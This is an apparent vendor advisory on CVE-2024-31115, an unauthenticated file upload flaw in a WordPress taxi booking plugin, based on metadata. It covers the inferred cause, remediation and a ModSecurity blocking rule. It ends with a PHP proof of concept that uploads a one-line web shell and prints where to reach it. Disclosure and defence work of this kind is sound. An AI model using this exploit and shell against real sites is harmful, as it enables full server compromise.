Atomic Edge analysis of CVE-2024-31115 (metadata-based):
This vulnerability allows unauthenticated arbitrary file upload in the Chauffeur Taxi Booking System plugin for WordPress versions up to and including 7.2. The CVSS score of 10 and the CWE-434 classification indicate a critical severity file upload vulnerability with no authentication or user interaction requirements. The affected component is likely an AJAX handler or a custom file upload endpoint exposed by the plugin.
The root cause, inferred from CWE-434 and the description, is missing file type validation in a file upload function. WordPress plugins commonly implement file uploads via AJAX actions hooked to ‘wp_ajax_{action}’ and ‘wp_ajax_nopriv_{action}. The absence of file extension checks, MIME type validation, or content inspection allows any file (including PHP shells) to be uploaded. Since no source code is available, this is an inferred conclusion based on the CWE classification and typical WordPress plugin patterns.
Exploitation likely involves sending a POST request to /wp-admin/admin-ajax.php with an action parameter specific to the plugin (e.g., ‘chauffeur_upload_file’ or similar) and a file parameter containing a malicious PHP file. Because the vulnerability is unauthenticated, the ‘nopriv’ AJAX hook must be registered, meaning no nonce or capability check is required. An attacker can upload a web shell directly to the WordPress uploads directory or a plugin-specific directory, then access it via a browser to execute arbitrary commands on the server.
The remediation, as seen in version 7.3, likely involves implementing proper file type validation: checking file extensions against an allowlist (e.g., only jpg, png, pdf), validating MIME types server-side, using getimagesize() for images, and storing files outside the web root with restricted execution permissions. Additional hardening should include requiring authentication and capability checks for upload actions.
Impact is critical: unauthenticated arbitrary file upload leading to remote code execution. An attacker can upload a PHP web shell, execute system commands, read/write any WordPress file, access the database, escalate privileges to administrator, and fully compromise the site and its server.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-31115 (metadata-based)
# Virtual patch: block unauthenticated file upload via inferred AJAX action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202431115,phase:2,deny,status:403,chain,msg:'CVE-2024-31115 Chauffeur Taxi Booking System - Unauthenticated File Upload',severity:'CRITICAL',tag:'CVE-2024-31115'"
SecRule ARGS_POST:action "@streq chauffeur_upload_file" "chain"
SecRule FILES:file "@rx .(php|phtml|php3|php4|php5|php7|pht|shtml|cgi|asp|aspx|jsp|cfm|inc|pl|py)$"
"t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-31115 - Chauffeur Taxi Booking System for WordPress <= 7.2 - Unauthenticated Arbitrary File Upload
<?php
$target_url = "http://example.com"; // CHANGE THIS to the target WordPress site URL
$shell_content = '<?php system($_GET["cmd"]); ?>';
$file_name = 'shell.php';
$payload = array(
'action' => 'chauffeur_upload_file', // Inferred AJAX action from plugin slug
'file' => new CURLFile('data://text/plain;base64,' . base64_encode($shell_content), 'application/x-php', $file_name)
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
echo "If successful, access the shell at: $target_url/wp-content/uploads/$file_name?cmd=idn";
?>
